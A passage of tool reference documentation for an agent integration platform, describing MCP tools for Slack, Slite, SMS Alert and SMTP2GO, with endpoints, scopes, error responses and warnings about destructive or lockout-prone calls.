skyfire_put_api_v1_agents_source_ips (write) — REPLACES the agent's whole network allow-list rather than adding to it, so send every address that must keep working -- INCLUDING AGENTIC FABRIQ'S OWN EGRESS ADDRESSES, or this connection locks itself out and every other Skyfire tool begins failing at the network layer where the error will look like a credential fault. List the current addresses first. THE MEMBER NAME IS TRANSCRIBED, NOT MEASURED: the reference the ledger was read from names it `IP addresses`, with the space, and no Skyfire credential existed to confirm it. Any additional members are forwarded unchanged, so if Skyfire answers 400 naming a different one, send that one. Answers 204 with no body. WORKS WITH EITHER AGENT KEY, Buyer or Seller: it is one of Skyfire's generic Agent APIs. An Enterprise Admin user key does NOT reach it -- an admin key manages organization users only. Skyfire reports a failure as `{"code": ..., "message": ...}`. A 401 HERE IS AS LIKELY TO BE THE WRONG KEY ROLE AS A BAD KEY: measured 2026-09-24 and re-measured 2026-09-25 against GET https://api.skyfire.xyz/api/v1/agents/balance, a bogus `skyfire-api-key` answers 401 `{"code":"NOT_AUTHORIZED","message":"API Key Not Found"}` and omitting the header answers 401 `{"code":"NOT_AUTHORIZED","message":"Invalid API Key"}` -- and a perfectly valid key of the wrong ROLE answers 401 too, because a Skyfire agent's role is fixed when the agent is created. A 403 is a different fault and pasting a new key will not fix it: it is the documented answer when the organization user behind an otherwise-valid key has been DEACTIVATED, and the remedy is reactivating that user. PUT /api/v1/skyfire/api/v1/agents/source-ips. Scopes: agent. ================================================================================ ## Slack URL: https://www.agenticfabriq.com/docs/tools-slack Section: Integrated Tools Slack — 10 MCP tools Provider key: slack. Scopes: channels:history, channels:read, chat:write, groups:history, groups:read, im:history, im:read, users:read. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. slack_get_connection_info (read) — Get Slack connection information including workspace name, bot user ID, and connection status. GET /api/v1/tools/slack/connection. Scopes: none. slack_get_dm_messages (read) — Get recent messages from a direct message (DM) conversation the bot is part of. Requires BOT scopes (im:history, im:read). Only DMs involving the bot are visible — not the user's DMs with other people. GET /api/v1/tools/slack/dm/messages. Scopes: im:history, im:read. slack_get_group_messages (read) — Get recent messages from a private channel the bot has been added to. Requires BOT scopes (groups:history, groups:read). The bot must be invited to the channel first. GET /api/v1/tools/slack/groups/messages. Scopes: groups:history, groups:read. slack_get_messages (read) — Get recent messages from a public Slack channel the bot can access. Uses BOT scopes (channels:read, channels:history); the bot auto-joins public channels on demand. Cannot read private channels or DMs the bot has not been added to — use slack_get_group_messages or slack_get_dm_messages for those. GET /api/v1/tools/slack/messages. Scopes: channels:read, channels:history. slack_get_user (read) — Get information about a Slack user by their user ID. GET /api/v1/tools/slack/users/{slack_user_id}. Scopes: users:read. slack_list_channels (read) — List public Slack channels in the workspace. Uses BOT scopes (channels:read). Returns channel IDs, names, and metadata. GET /api/v1/tools/slack/channels. Scopes: channels:read. slack_list_dm_channels (read) — List direct message (DM) channels the bot participates in. Requires BOT scope (im:read). GET /api/v1/tools/slack/dm/channels. Scopes: im:read. slack_list_groups (read) — List private channels the bot has been added to. Requires BOT scope (groups:read). GET /api/v1/tools/slack/groups. Scopes: groups:read. slack_list_users (read) — List users in the Slack workspace. GET /api/v1/tools/slack/users. Scopes: users:read. slack_send_message (send, destructive) — Send a message to a Slack channel or DM. By default sends as bot; set as_user=true to send as the authenticated user (requires user scopes). Returns the timestamp of the sent message. POST /api/v1/tools/slack/send. Scopes: chat:write. ================================================================================ ## Slite URL: https://www.agenticfabriq.com/integrations/slite Section: Integrated Tools Slite — 26 MCP tools Provider key: slite. Scopes: read, write. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. slite_delete_ask_index (write, destructive) — Delete one indexed object from a custom Ask data source by `rootId` plus `id`, so Ask stops citing it. There is no undo: restoring it means indexing it again. The object's own content lives in whatever system supplied it, so this destroys the index entry rather than the source of truth via DELETE /ask/index DELETE /api/v1/slite/ask/index. Scopes: write. slite_delete_notes_by_noteid (write, destructive) — Delete a note, answering 204 with no body. This destroys the note rather than hiding it -- use Archive or restore a note if you may want it back, which is reversible and this is not via DELETE /notes/{noteId} DELETE /api/v1/slite/notes/{noteId}. Scopes: write. slite_get_ask (read) — Ask Slite's AI a question against the workspace's notes and get an answer with the notes it cited. `wait=false` answers 202 with a `threadId` instead of blocking -- poll it with Get an Ask thread. `parentNoteId` narrows the search to one note's subtree and `assistantId` picks a configured assistant via GET /ask GET /api/v1/slite/ask. Scopes: read. slite_get_ask_index (read) — Page through the objects indexed under one custom Ask data source (`rootId`), each with its id, title, URL and last-update date. The data source itself is created in the Slite UI, not here, and a workspace whose plan does not include custom Ask sources answers 402 via GET /ask/index GET /api/v1/slite/ask/index. Scopes: read. slite_get_groups (read) — Search the workspace's groups by name. `query` is REQUIRED, so this searches rather than lists. Cursor-paginated via GET /groups GET /api/v1/slite/groups. Scopes: read. slite_get_groups_by_groupid (read) — Read one group by id: its name and description. A group is what Set a note's owner can hand a note to instead of a person via GET /groups/{groupId} GET /api/v1/slite/groups/{groupId}. Scopes: read. slite_get_knowledge_management_notes (read) — Page through the workspace's notes for a documentation audit, filtered by verification state, owner, channel and how recently they were edited. Cursor-paginated: pass the returned `nextCursor` back as `cursor`. Content is not included -- read a note to get it via GET /knowledge-management/notes GET /api/v1/slite/knowledge-management/notes. Scopes: read. slite_get_knowledge_management_notes_empty (read) — The documentation-audit listing narrowed to notes with no content -- titles somebody created and never filled in. Filterable by owner and channel, cursor-paginated via GET /knowledge-management/notes/empty GET /api/v1/slite/knowledge-management/notes/empty. Scopes: read. slite_get_knowledge_management_notes_inactive (read) — The documentation-audit listing narrowed to notes nobody has touched recently -- the stale-documentation candidates. Filterable by owner and channel, cursor-paginated via GET /knowledge-management/notes/inactive GET /api/v1/slite/knowledge-management/notes/inactive. Scopes: read. slite_get_knowledge_management_notes_public (read) — The documentation-audit listing narrowed to notes shared PUBLICLY -- readable by anyone holding the link, from outside the workspace. Same filters and same cursor pagination; this is the list to review when auditing what has been published via GET /knowledge-management/notes/public GET /api/v1/slite/knowledge-management/notes/public. Scopes: read. slite_get_me (read) — Return who this API key belongs to: display name, email, and the organization's name and domain. The cheapest read on the surface and the one this integration probes a pasted key with via GET /me GET /api/v1/slite/me. Scopes: read. slite_get_notes (read) — List notes, optionally only those under one parent (`parentNoteId`) or owned by one member (`ownerId`), ordered by last edit or by sidebar position. Cursor-paginated. Content is not included -- use Get a note for that via GET /notes GET /api/v1/slite/notes. Scopes: read. slite_get_notes_by_noteid (read) — Read one note including its content, as `md`, `html` or `sliteml` (`format`). `css=inline` inlines styles into the HTML form and `compact=true` trims the response. A note too large to return answers 413 via GET /notes/{noteId} GET /api/v1/slite/notes/{noteId}. Scopes: read. slite_get_notes_by_noteid_children (read) — List the notes nested under one note, ordered by title, sidebar position or last edit. `includeDescendants=true` walks the whole subtree instead of one level. Cursor-paginated via GET /notes/{noteId}/children GET /api/v1/slite/notes/{noteId}/children. Scopes: read. slite_get_search_notes (read) — Full-text search across notes, PAGE-numbered rather than cursored (`page`, `hitsPerPage`), with each match wrapped in `highlightPreTag` / `highlightPostTag`. Narrow by subtree (`parentNoteId` plus `depth`), review state, last-edit date, and `includeArchived` via GET /search-notes GET /api/v1/slite/search-notes. Scopes: read. slite_get_threads_by_threadid (read) — Read an Ask thread by id: its rounds, its status (`processing`, `completed`, `failed` or `needs-approval`) and, once finished, the answer and the notes it cited. Answers 202 while still processing, with `retryAfterSeconds` saying how long to wait before polling again. Ask the workspace a question with `wait=false` is what mints a thread id via GET /threads/{threadId} GET /api/v1/slite/threads/{threadId}. Scopes: read. slite_get_users (read) — Search workspace members by name or email. `query` is REQUIRED, so this searches rather than lists -- there is no call that returns every member. `includeArchived=true` also returns deactivated ones. Cursor-paginated via GET /users GET /api/v1/slite/users. Scopes: read. slite_get_users_by_userid (read) — Read one workspace member by id: display name, email, organization role, whether they are a guest, and `archivedAt` when they have been deactivated via GET /users/{userId} GET /api/v1/slite/users/{userId}. Scopes: read. slite_post_ask_index (write) — Add or replace one object -- markdown or HTML -- in a custom Ask data source so Ask can cite it, keyed by `id` within `rootId`. Posting the same `id` again REPLACES the previous version, and `updatedAt` is what Slite reads to judge freshness. `rootId` must name a custom data source created in the Slite UI first via POST /ask/index POST /api/v1/slite/ask/index. Scopes: write. slite_post_notes (write) — Create a note from a `title` plus a body in ONE of `markdown`, `html` or `sliteml`. WITHOUT `parentNoteId` the note lands in the caller's own personal channel rather than anywhere the team can see it. `templateId` applies a template, `listPosition` places it among its siblings (`top`, `bottom`, or a number -- higher comes first), and `attributes` fills a parent collection's columns in column order via POST /notes POST /api/v1/slite/notes. Scopes: write. slite_put_notes_by_noteid (write) — Replace a note's title and/or its body. The content field you send REPLACES the whole document rather than appending to it, so send the complete note; pass exactly one of `markdown`, `html` or `sliteml` via PUT /notes/{noteId} PUT /api/v1/slite/notes/{noteId}. Scopes: write. slite_put_notes_by_noteid_archived (write) — Archive a note (`archived: true`) or restore it (`archived: false`). Archiving takes it out of the sidebar and out of searches that do not ask for archived notes, and is REVERSIBLE -- which is the difference between this and Delete a note via PUT /notes/{noteId}/archived PUT /api/v1/slite/notes/{noteId}/archived. Scopes: write. slite_put_notes_by_noteid_flag_as_outdated (write) — Flag a note as outdated with a `reason`, moving it into the Outdated review state that the documentation-audit listings surface and that its owner is asked to clear via PUT /notes/{noteId}/flag-as-outdated PUT /api/v1/slite/notes/{noteId}/flag-as-outdated. Scopes: write. slite_put_notes_by_noteid_owner (write) — Assign a note to a `userId` or to a `groupId` -- the owner the documentation-audit listings filter on and whoever Slite asks to re-verify it. One or the other, not both via PUT /notes/{noteId}/owner PUT /api/v1/slite/notes/{noteId}/owner. Scopes: write. slite_put_notes_by_noteid_tiles_by_tileid (write) — Push data into one embedded tile on a note, by tile id: its title, content, link, icon and a coloured status label. The tile is added in the Slite editor first; this replaces what it displays via PUT /notes/{noteId}/tiles/{tileId} PUT /api/v1/slite/notes/{noteId}/tiles/{tileId}. Scopes: write. slite_put_notes_by_noteid_verify (write) — Mark a note verified `until` a date, which is what keeps it out of the outdated and verification-expired documentation-audit listings until then via PUT /notes/{noteId}/verify PUT /api/v1/slite/notes/{noteId}/verify. Scopes: write. ================================================================================ ## SMS Alert URL: https://www.agenticfabriq.com/integrations/smsalert Section: Integrated Tools SMS Alert — 26 MCP tools Provider key: smsalert. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. smsalert_post_cancelschedule_json (write) — Cancel a scheduled batch by `batchid` before it goes out; the credits it reserved are refunded ("campaign stopped successfully and credits are refunded."). A batch that cannot be stopped -- already sent, already cancelled -- answers 409 "campaign can not be stopped". POST /api/v1/smsalert/cancelschedule.json. Scopes: api. smsalert_post_contactlist_json (read) — List the contacts in one group -- `id`, `name`, `number` (stored with the country code), `creationdate` -- paged by `limit` and `page`, ordered by `order`. `group_id` is REQUIRED (there is no all-contacts listing; enumerate groups first). An empty group is an EMPTY list (`description: []`, vendor sentence in `desc`), not an error; an unknown group answers 404 "invalid group". The contact `id` is what `update_contact` and `delete_contact` take. POST /api/v1/smsalert/contactlist.json. Scopes: api. smsalert_post_createcontact_json (write) — Add one contact (`name`, `number`) to the group NAMED by `grpname` (the group's name, not its id). The number is stored with the country code prepended when given without one. A number already in that group is refused with 409 "Number already exists in this group"; an unknown group with 404 "group does not exist". The response confirms creation but does not return the contact id; `list_contacts` on the group does. POST /api/v1/smsalert/createcontact.json. Scopes: api. smsalert_post_creategroup_json (write) — Create a contact group. `name` may contain letters, digits, hyphens and underscores only -- a space is refused (400 "Only Alphabets, numbers, hyphen, underscore allowed. Space not allowed"), and a name already in use is refused with 409 "Group already exists". The response confirms creation but does NOT return the new id; call `list_groups` (with `q` set to the name) to fetch it. POST /api/v1/smsalert/creategroup.json. Scopes: api. smsalert_post_createshorturl_json (write) — Shorten a long `url` on SMS Alert's load.bz domain, for use inside SMS text. Returns `description.data.Link` (`long_url`, `alias`, `short_url`, `clicks`, `created`) and `description.id`, the link id `delete_short_url` takes. A malformed URL answers 400 "Please enter a valid URL address.". POST /api/v1/smsalert/createshorturl.json. Scopes: api. smsalert_post_createtemplate_json (write) — Save an SMS template with a `name` and its `text`. Duplicate names are ACCEPTED (measured 2026-09-19: two templates named the same were both created), so check `list_templates` first if uniqueness matters. The response confirms creation but does not return the id; `list_templates` does. POST /api/v1/smsalert/createtemplate.json. Scopes: api. smsalert_post_creditstatus_json (read) — Return the SMS credit balance of the account, per route (for example `transactional`, `nondnd`, `promotional`, or `demo` on a trial account), as `description.routes[]` with `route`, `display_name` and `credits`, plus a one-line `desc` summary. Takes no arguments and spends nothing. Call it before a large send: every recipient costs one credit per message part. POST /api/v1/smsalert/creditstatus.json. Scopes: api. smsalert_post_deletecontact_json (write, destructive) — Delete a contact by contact `id` (from `list_contacts`). DESTRUCTIVE. POST /api/v1/smsalert/deletecontact.json. Scopes: api. smsalert_post_deletegroup_json (write, destructive) — Delete a contact group by `id`. DESTRUCTIVE: the group and its membership are removed. An unknown id answers 404 "invalid group". POST /api/v1/smsalert/deletegroup.json. Scopes: api. smsalert_post_deleteshorturl_json (write, destructive) — Delete a short URL by its link `id` (the `description.id` returned by `create_short_url`). DESTRUCTIVE: the short link stops resolving. An unknown id answers 404 "invalid short url id". POST /api/v1/smsalert/deleteshorturl.json. Scopes: api. smsalert_post_deletetemplate_json (write, destructive) — Delete a template by template `id`. DESTRUCTIVE. A second delete of the same id answers 404 "invalid template". POST /api/v1/smsalert/deletetemplate.json. Scopes: api. smsalert_post_grouplist_json (read) — List the account's contact groups -- `id`, `name`, `creationdate`, `members` (a count) -- paged by `limit` (default 10) and `page` (default 1), filtered by `q` (matched against the name), ordered by `order` (`asc`/`desc`). The group `id` is what the contact tools and `send_sms_to_groups` take. An account with no groups, or a `q` that matches nothing, is an EMPTY list (`description: []`, vendor sentence in `desc`), not an error. POST /api/v1/smsalert/grouplist.json. Scopes: api. smsalert_post_grouppush_json (send) — Send one SMS `text` to every contact in one or more groups (`id`: a group id, or several comma-separated) from a sender ID, optionally on a named `route` and optionally at a future time (`schedule`, YYYY-MM-DD HH:MM:SS in the account's time zone, IST). SPENDS ONE CREDIT PER RECIPIENT per message part and reaches real phones. Returns `description.batchid` plus a per-number `batch_dtl[]` with each `msgid` and status (AWAITED-DLR, pending for a scheduled batch, BLACKLST for a blocked number). A scheduled batch can be moved with `reschedule_sms` or cancelled with `cancel_scheduled_sms`, which refunds its credits. An unknown group answers 404 "invalid group name or group id". POST /api/v1/smsalert/grouppush.json. Scopes: api. smsalert_post_modifyschedule_json (write) — Move a scheduled batch (`batchid`, from the send tool's response or `list_sent_sms` with schedule=1) to a new `schedule` time, YYYY-MM-DD HH:MM:SS in the account's time zone (IST). Only a batch that has not gone out yet can be moved. An unknown batch answers 404 "campaign does not exist". POST /api/v1/smsalert/modifyschedule.json. Scopes: api. smsalert_post_mverify_json (send) — Generate a one-time password and SEND it by SMS to `mobileno` (spends one credit). `template` is the message text and must contain the `[otp]` tag, which accepts attributes: `[otp length="6" retry="2" validity="10"]` (length 3-8, default 4; retry = how many sends per window, default 5; validity in minutes, default 15). Omit `template` to use the account's default OTP text, and `sender` to use the account's default sender ID. Returns a batch id like the send tools. Check the code the user types with `validate_otp`. Too long an OTP is a 400 "OTP length should be between 3 and 8"; too many sends in the window a 429 "Max OTP limit reached, please try after 15 minutes". POST /api/v1/smsalert/mverify.json. Scopes: api. smsalert_post_mverify_json_validate (write) — Check the `code` a user typed against the OTP last sent to `mobileno` by `send_otp`. Sends nothing and spends nothing. READ THE RESULT, NOT THE STATUS: SMS Alert answers `status: success` in BOTH outcomes, with `description.desc` "Code Matched successfully." when it matches and "Code does not match." when it does not. A code past its validity window does not match. POST /api/v1/smsalert/mverify.json/validate. Scopes: api. smsalert_post_pull_json (read) — Return the per-recipient delivery report for one `batchid`: each `mobileno`, `sender`, `text`, `msgid`, `status` (DELIVRD, AWAITED-DLR, pending, BLACKLST, FAILED, ...), `schedule` and `lastupdated`. Optional filters `schedule`, `sender` and `text` narrow the report. An unknown batch answers success with an empty `report` and desc "no search results found". The vendor keeps reports for the last three days (API Kit §17). POST /api/v1/smsalert/pull.json. Scopes: api. smsalert_post_push_json (send) — Send one SMS `text` to one or more numbers (`mobileno`: a number, or several comma-separated, with or without the country code) from a sender ID. Optional: `route` (a route name from `get_credit_balance`), `schedule` (YYYY-MM-DD HH:MM:SS in the account's time zone, IST -- omit to send now), and a delivery-report callback (`dlrurl` together with `reference`, one reference per number; SMS Alert will GET the URL with ?msgid=<reference>&status=<status>). SPENDS ONE CREDIT PER RECIPIENT per message part and reaches real phones. Send `text` as plain text -- do NOT URL-encode it. Returns `description.batchid` and a per-number `batch_dtl[]` with each `msgid` and status (AWAITED-DLR when sent, pending when scheduled). Read delivery with `get_delivery_report`; move or cancel a scheduled batch with `reschedule_sms` / `cancel_scheduled_sms` (cancelling refunds the credits). Missing `sender`, `mobileno` or `text` is a 400 "insufficient parameters". POST /api/v1/smsalert/push.json. Scopes: api. smsalert_post_senderlist_json (read) — List the sender IDs registered on the account with their approval state (`sender`, `approved`, `open`, `datetime`). Indian transactional and promotional routes require a registered, DLT-approved sender ID; the sender you pass to the send tools should come from this list. An account with none answers an EMPTY list, which this tool returns as `description: []` with the vendor's own sentence in `desc` ("no senderid available for your account"). POST /api/v1/smsalert/senderlist.json. Scopes: api. smsalert_post_smscampaignlog_json (read) — List the account's SMS batches (the vendor calls them campaigns), newest first: `id` (the batch id), `senderid`, `text`, `route`, `smscount`, `creditscharged`, `creditsrefunded`, `schedule` (boolean), `scheduletime`, `datetime`. Paged by `limit` and `page`, filtered by `q`; `schedule=1` lists only batches that are scheduled and still pending. Use the `id` with `get_delivery_report` for per-recipient status. POST /api/v1/smsalert/smscampaignlog.json. Scopes: api. smsalert_post_templatelist_json (read) — List the account's SMS templates -- `id`, `title`, `template` (the text), `creationdate`, `active` -- paged by `limit` and `page`, ordered by `order`. An account with none is an EMPTY list (`description: []`, vendor sentence in `desc`), not an error. Templates here are the account's saved texts; for Indian routes the DLT template registration is a separate, regulatory registration done in the dashboard. POST /api/v1/smsalert/templatelist.json. Scopes: api. smsalert_post_updatecontact_json (write) — Update a contact's `name` and `number` by contact `id`. NOT partial: all three are required -- `name` alone is refused with 400 "insufficient parameters" (measured 2026-09-19) -- so read the contact back with `list_contacts` and resend the value you are not changing. An unknown id answers 404 "invalid contact". POST /api/v1/smsalert/updatecontact.json. Scopes: api. smsalert_post_updategroup_json (write) — Rename a contact group by `id`. Both `id` and the new `name` are required; the same naming rule as `create_group` applies. An unknown id answers 404 "invalid group". POST /api/v1/smsalert/updategroup.json. Scopes: api. smsalert_post_updateprofile_json (write) — Update the account's first name, last name, mobile number, email address or FCM push id. PARTIAL: send only what should change -- `firstname` alone updates the first name and leaves the rest untouched (measured 2026-09-19). A malformed value is refused with the field named, e.g. {"emailid": ["Email is not valid."]}. POST /api/v1/smsalert/updateprofile.json. Scopes: api. smsalert_post_updatetemplate_json (write) — Update a template's `name` and `text` by template `id`. All three are required. An unknown id answers 404 "invalid template". POST /api/v1/smsalert/updatetemplate.json. Scopes: api. smsalert_post_user_json (read) — Return the profile of the SMS Alert account this connection's API key belongs to: id, username, first and last name, mobile number, email, allowed country prefixes, creation and expiry dates, and the mobile-verified, KYC, Android-push and two-factor flags. Takes no arguments. A quick way to confirm which account a connection is bound to. POST /api/v1/smsalert/user.json. Scopes: api. ================================================================================ ## SMTP2GO URL: https://www.agenticfabriq.com/integrations/smtp2go Section: Integrated Tools SMTP2GO — 74 MCP tools Provider key: smtp2go. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. smtp2go_patch_api_keys_edit (write) — Patch an existing API key ignoring missing properties. Changes the account's shared API Keys. If it names the key this connection was given, every tool here stops working until a new key is pasted. PATCH /api/v1/smtp2go/api_keys/edit. Scopes: api. smtp2go_patch_ip_auth_edit (write) — Patch an existing IP Auth ignoring missing properties. Changes which source IP addresses may use this account's API and SMTP. Agentic Fabriq cannot supply a stable egress address -- its nodes use ephemeral public IPs -- so no allow list can be written that keeps this connection working once the list is enforced. PATCH /api/v1/smtp2go/ip_auth/edit. Scopes: api. smtp2go_patch_users_smtp_edit (write) — Patch an existing SMTP user ignoring missing properties. PATCH /api/v1/smtp2go/users/smtp/edit. Scopes: api. smtp2go_post_activity_search (read) — Returns events (such as opens, unsubscribes) which match the filters passed. A count of events matching the filter is also included, as this may surpass the maximum of 1,000 items included within the response. This endpoint is rate-limited to 60 requests per minute. POST /api/v1/smtp2go/activity/search. Scopes: api. smtp2go_post_allowed_recipients_add (write) — Add one or more email addresses and domain names to your Allowed Recipients List. Further details of the associated setting are found in the SMTP2GO Guides. POST /api/v1/smtp2go/allowed_recipients/add. Scopes: api. smtp2go_post_allowed_recipients_remove (write, destructive) — Remove one or more emails addresses or domain names stored in your Allowed Recipients List. Note: In the event that any of the email addresses or domains do not feature in the list, no error will be raised. POST /api/v1/smtp2go/allowed_recipients/remove. Scopes: api. smtp2go_post_allowed_recipients_update (write, destructive) — Replace the email addresses and domain names on your Allowed Recipients List using this endpoint. Further details of these modes are found in the SMPT2GO Guides. Note that a post to this endpoint will return a success, even if the setting is not in use. REPLACES the whole list rather than adding to it: every address or domain left out of this call leaves the list. Read the current list first, or use the add/remove tools. POST /api/v1/smtp2go/allowed_recipients/update. Scopes: api. smtp2go_post_allowed_recipients_view (read) — Returns the email addresses and domain names on your Allowed Recipients list. POST /api/v1/smtp2go/allowed_recipients/view. Scopes: api. smtp2go_post_allowed_senders_add (write) — Add one or more email addresses and domain names to your Allowed or Restricted Senders List. How this list of email addresses and domain names are used is shown by the current 'mode' value; if the Restrict Senders setting is on, they will form either a whitelist or blacklist. If the setting is off, the list will be disabled. Further details of the associated setting are found in the SMTP2GO Guides. Details of how this mode can be set via the update end-point, are given further in the documentation. A post to this endpoint will return a success, even if the Restrict Senders setting is not in use. POST /api/v1/smtp2go/allowed_senders/add. Scopes: api. smtp2go_post_allowed_senders_remove (write, destructive) — Remove one or more emails addresses or domain names stored in your Allowed or Restricted Senders List. Note: In the event that any of the email addresses or domains do not feature in the list, no error will be raised. POST /api/v1/smtp2go/allowed_senders/remove. Scopes: api. smtp2go_post_allowed_senders_update (write, destructive) — Replace the email addresses and domain names on your Allowed or Restricted Senders List using this endpoint. How the email addresses and domain names are used is defined in the current 'mode' value - further details of these modes are found in the SMPT2GO Guides. Note that a post to this endpoint will return a success, even if the setting is not in use. REPLACES the whole list rather than adding to it: every address or domain left out of this call leaves the list. Read the current list first, or use the add/remove tools. POST /api/v1/smtp2go/allowed_senders/update. Scopes: api. smtp2go_post_allowed_senders_view (read) — Returns the email addresses and domain names on your Allowed or Restricted Senders list, as well as the Restrict Senders setting, which dictates how they are interpreted. POST /api/v1/smtp2go/allowed_senders/view. Scopes: api. smtp2go_post_api_keys_add (write) — Add a new API key to your account This endpoint is rate-limited to 5 requests per minute. Mints a new account API Key. The key is returned once and carries the endpoint Permissions given here. POST /api/v1/smtp2go/api_keys/add. Scopes: api. smtp2go_post_api_keys_edit (write) — Edit an existing API key. Changes the account's shared API Keys. If it names the key this connection was given, every tool here stops working until a new key is pasted. POST /api/v1/smtp2go/api_keys/edit. Scopes: api. smtp2go_post_api_keys_permissions (read) — Retrieve a list of endpoints this API Key can use. This endpoint is available to all API Keys. POST /api/v1/smtp2go/api_keys/permissions. Scopes: api. smtp2go_post_api_keys_remove (write, destructive) — Remove an existing API key. Changes the account's shared API Keys. If it names the key this connection was given, every tool here stops working until a new key is pasted. POST /api/v1/smtp2go/api_keys/remove. Scopes: api. smtp2go_post_api_keys_view (read) — Retrieve a list of API keys on this account. POST /api/v1/smtp2go/api_keys/view. Scopes: api. smtp2go_post_archive_email (read) — Fetch an archived email using the email_id. POST /api/v1/smtp2go/archive/email. Scopes: api. smtp2go_post_archive_search (read) — Retrieve a list of up to 5,000 archived emails matching the supplied parameters. POST /api/v1/smtp2go/archive/search. Scopes: api. smtp2go_post_dedicated_ips_view (read) — Retrieve a list of Dedicated IP addresses on this account. POST /api/v1/smtp2go/dedicated_ips/view. Scopes: api. smtp2go_post_domain_add (write) — Add a sender domain to your account. Note that you must own any domains you wish to include in this list, as you will be required to verify and authenticate the emails sent via that domain. Find full details in the Sender Domains Guide. POST /api/v1/smtp2go/domain/add. Scopes: api. smtp2go_post_domain_remove (write, destructive) — Remove a sender domain from your account. Removes a VERIFIED sender domain from the account; every sender using it stops being able to send until the domain is added and verified again. POST /api/v1/smtp2go/domain/remove. Scopes: api. smtp2go_post_domain_returnpath (write) — A Return Path Subdomain is used to instruct the server where to return emails that are not deliverable (ie. Bounces). This endpoint allows you to edit a Return Path Subdomain for a particular sender domain. Full details can be found in the Sender Domain Guide. POST /api/v1/smtp2go/domain/returnpath. Scopes: api. smtp2go_post_domain_subaccount_access (write) — Allow subaccounts to send from verified sender domains on the master account. POST /api/v1/smtp2go/domain/subaccount_access. Scopes: api. smtp2go_post_domain_tracking (write) — A Tracking Subdomain is used to monitor your email opens and clicks. This endpoint allows you to edit a tracking subdomain for a particular sender domain. Full details can be found in the Sender Domain Guide. POST /api/v1/smtp2go/domain/tracking. Scopes: api. smtp2go_post_domain_verify (write) — Verify a sender domain on your account removing the need to wait for the periodic verification every 7 minutes. POST /api/v1/smtp2go/domain/verify. Scopes: api. smtp2go_post_domain_view (read) — Returns a list of sender domains on your account. POST /api/v1/smtp2go/domain/view. Scopes: api. smtp2go_post_email_batch (write) — Send a batch of emails. POST /api/v1/smtp2go/email/batch. Scopes: api. smtp2go_post_email_mime (write) — Send an email by supplying a pre-encoded MIME string. POST /api/v1/smtp2go/email/mime. Scopes: api. smtp2go_post_email_scheduled_remove (write, destructive) — Removes a scheduled email by ID. POST /api/v1/smtp2go/email/scheduled/remove. Scopes: api. smtp2go_post_email_scheduled_search (read) — Allows searching of scheduled emails. POST /api/v1/smtp2go/email/scheduled/search. Scopes: api. smtp2go_post_email_search (read) — Retrieve a list of up to 5,000 sent emails matching the supplied parameters. The filter_query field can be used to create complex filters to make your searching more efficient. Find full details in the Email and Email Archive Guide. Note: Allow around two minutes after delivery for recently sent emails to be included in a search result. This endpoint is deprecated and will not be accessible in future API versions. Please use the Activity Search (https://developers.smtp2go.com/reference/search-activity) endpoint instead.This endpoint is rate-limited to 20 requests per minute. POST /api/v1/smtp2go/email/search. Scopes: api. smtp2go_post_email_send (write) — Send an email by passing a JSON email object. POST /api/v1/smtp2go/email/send. Scopes: api. smtp2go_post_ip_allow_list (write, destructive) — Enables/Disables an IP allow list. DO NOT ENABLE THROUGH THIS INTEGRATION. Agentic Fabriq cannot supply a stable egress address -- its nodes use ephemeral public IPs -- so an enabled allow list will refuse every later call from this connection, including this tool, which is the only one that could turn it off again. A successful call here therefore breaks the connection, and the only way back is the SMTP2GO web app. Disabling the list is safe. POST /api/v1/smtp2go/ip_allow_list. Scopes: api. smtp2go_post_ip_allow_list_add (write) — Adds an IP address to an allow list. Changes which source IP addresses may use this account's API and SMTP. Agentic Fabriq cannot supply a stable egress address -- its nodes use ephemeral public IPs -- so no allow list can be written that keeps this connection working once the list is enforced. POST /api/v1/smtp2go/ip_allow_list/add. Scopes: api. smtp2go_post_ip_allow_list_edit (write) — Edits an existing IP allow list. Changes which source IP addresses may use this account's API and SMTP. Agentic Fabriq cannot supply a stable egress address -- its nodes use ephemeral public IPs -- so no allow list can be written that keeps this connection working once the list is enforced. POST /api/v1/smtp2go/ip_allow_list/edit. Scopes: api. smtp2go_post_ip_allow_list_remove (write, destructive) — Removes an IP address from an allow list. Changes which source IP addresses may use this account's API and SMTP. Agentic Fabriq cannot supply a stable egress address -- its nodes use ephemeral public IPs -- so no allow list can be written that keeps this connection working once the list is enforced. POST /api/v1/smtp2go/ip_allow_list/remove. Scopes: api. smtp2go_post_ip_allow_list_view (read) — Retrieves a list of IP Addresses on the allow list along with the list's enabled status. POST /api/v1/smtp2go/ip_allow_list/view. Scopes: api. smtp2go_post_ip_auth_remove (write, destructive) — Remove an IP Auth entry from your account. Changes which source IP addresses may use this account's API and 